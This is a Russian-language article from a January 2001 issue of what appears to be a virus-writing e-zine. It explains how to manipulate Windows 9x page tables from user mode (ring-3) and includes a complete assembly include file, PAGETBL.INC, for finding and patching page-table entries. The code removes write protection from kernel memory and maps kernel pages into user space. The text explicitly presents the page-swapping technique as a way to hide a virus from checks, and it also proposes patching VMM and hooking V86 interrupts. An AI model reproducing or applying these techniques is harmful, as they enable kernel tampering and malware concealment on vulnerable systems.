·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
win9X: ИГРАЕМ С ТАБЛИЦЕЙ СТРАНИЦ
············································································
Первая часть этого текста уже была опубликована у меня на страничке, а
также в английском варианте в журнале Matrix; здесь -- продолжение, а
именно -- описание дополнительных возможностей работы с таблицей страниц.
Напомню, что в первой части текста было показано как в ring-3 получить
адрес дворда-дескриптора любой страницы памяти, так, чтобы этот дворд
можно было изменять.
Старшие 20 бит дворда -- адрес страницы в физической памяти, младшие
12 бит -- флаги, из которых 1=PRESENT, 2=R/W, 4=USER/SUPERVISOR.
Итак, установив флаг R/W защищенной для записи странице, мы эту защиту
снимаем:
mov esi, 0BFF70000h ; кернел
call get_pagetable_entry
or dword ptr [edi], 2 ; R/W
not dword ptr [esi]
Далее, дескрипторы можно копировать друг в друга (только аккуратно!),
производя тем самым мгновенное переключение любых областей памяти.
Например, отображаем кусок кернела в свою собственную страничку:
align 4096
window db 4096 dup (?) ; "окно"
...
mov esi, 0BFF70000h ; кернел
call get_pagetable_entry
mov ebx, [edi] ; дескриптор
lea esi, window
call get_pagetable_entry
mov ecx, [edi] ; дескриптор
mov [edi], ebx
or dword ptr [edi], 2 ; R/W
not window.dword ptr 0 ; пишем в кернел
mov [edi], ecx ; вернуть обратно
Еще один финт: "отжираем" от физической памяти страницу, и попеременно
отображаем две разные физические страницы в один и тот же линейный адрес:
; выделяется физическая страница
mov window.dword ptr 0, 11111111h
lea esi, window
call get_pagetable_entry
mov ebx, [edi]
and dword ptr [edi], 0FFEh ; нет больше страницы
; выделяется заново, уже другая
mov window.dword ptr 0, 22222222h
xchg ebx, [edi] ; переключаем страницы
cmp window.dword ptr 0, 11111111h
jne $
xchg ebx, [edi] ; переключаем страницы
cmp window.dword ptr 0, 22222222h
jne $
Такая техника позволяет спрятать вирус от всяких проверок.
А вот если бы мы одну физическую страницу отобразили в один и тот же
линейный адрес в разных контекстах, то между контекстами образовалось бы
"окно".
Ну и, кроме того, используя таблицу страниц можно во много раз
ускорить процедуру поиска чего-то-там во всей памяти; ведь обычно это
делается через медленный SEH. Более того, поиск будет не только быстрее,
но также и в той памяти, которая находится по одинаковым линейным
адресам в разных контекстах. То есть, если обычным способом мы для младших
двух гиг должны получить список процессов и через
Read/WriteProcessMemory обращаться к их памяти, а для старших двух гиг
делать поиск через SEH, то здесь мы просто выделяем 16/32/64/... гига и
отображаем туда всю физическую память.
Зачем нужен поиск в памяти? Ну, например после исправления в памяти
всех строк 'KERNEL32' на 'XXXXEL32' можно создать в виндовой системной
дире новый KERNEL32.DLL и вернуть патч всей памяти обратно. После этого в
дире окажутся два кернела... Хер его знает, зачем это надо... ;-) А если
серьезно, то можно пропатчить в VMM'е места, отвечающие за шаринг файлов,
после чего спокойно открывать кернел на запись.
Кроме всего сказанного, с помощью таблицы страниц можно поиметь доступ
к V86-задачам, там уже перехватить инты в таблице прерываний и получить
в этих задачах управление или же дождаться перехода маздая в DOS-моду и
поработать в реальном режиме.
Вот улучшенная версия процедуры для работы с таблицей страниц из
ring-3:
····[begin PAGETBL.INC]······················································
; subroutine: get_pagetable_entry
; input: ESI=address
; output: CF=0 EDI=pagetable entry address
; CF=1 error
get_pagetable_entry: pusha
call get_cr3 ; получаем CR3
and ebx, 0FFFFF000h ; EBX<--физ. адрес каталога
call phys2linear ; получаем линейный адрес
jc __exit
mov eax, esi
and eax, 0FFC00000h
sub esi, eax
shr eax, 20 ; EAX<--адр.эл-та 1го уровня
shr esi, 10 ; ESI<--адр.эл-та 2го уровня
mov ebx, [ebx+eax] ; EBX<--физ.адрес + флаги
test ebx, 1 ; есть таблица 2-го ур-ня?
stc
jz __exit ; если нету, ничто не поможет
and ebx, 0FFFFF000h ; оставить только адрес
call phys2linear ; EBX<--линейный адрес
jc __exit
add esi, ebx ; ESI<--адрес дворда для патча
mov [esp+0*4], esi ; popa.edi
clc
__exit: popa
retn
; subroutine: phys2linear
; input: EBX=physical address
; output: CF=0 EBX=linear address
; CF=1 error
phys2linear: pusha
movzx ecx, bx ; BX:CX<--EBX=phys addr
shr ebx, 16
mov eax, 0800h ; physical address mapping
xor esi, esi ; SI:DI=size (1 byte)
xor edi, edi
inc edi
push ecx
push eax
push 0002A0029h ; INT 31 (DPMI services)
mov edx, 0BFF713D4h ; можно и найти, но так проще
call edx ; KERNEL@ORD0
jc __exit
shl ebx, 16 ; EBX<--BX:CX=linear address
or ebx, ecx
mov [esp+4*4], ebx ; popa.ebx
clc
__exit: popa
retn
; subroutine: get_cr3
; output: EBX=CR3
get_cr3: push eax
sgdt [esp-6]
mov ebx, [esp-4] ; EBX<--GDT.base
str ax ; EAX<--TSS selector
and eax, 0FFF8h ; optionally
add ebx, eax ; EBX<--TSS descriptor offset
mov ah, [ebx+7] ; EAX<--TSS linear address
mov al, [ebx+4]
shl eax, 16
mov ax, [ebx+2]
mov ebx, [eax+1Ch] ; EBX<--CR3
pop eax
retn
····[end PAGETBL.INC]························································
············································································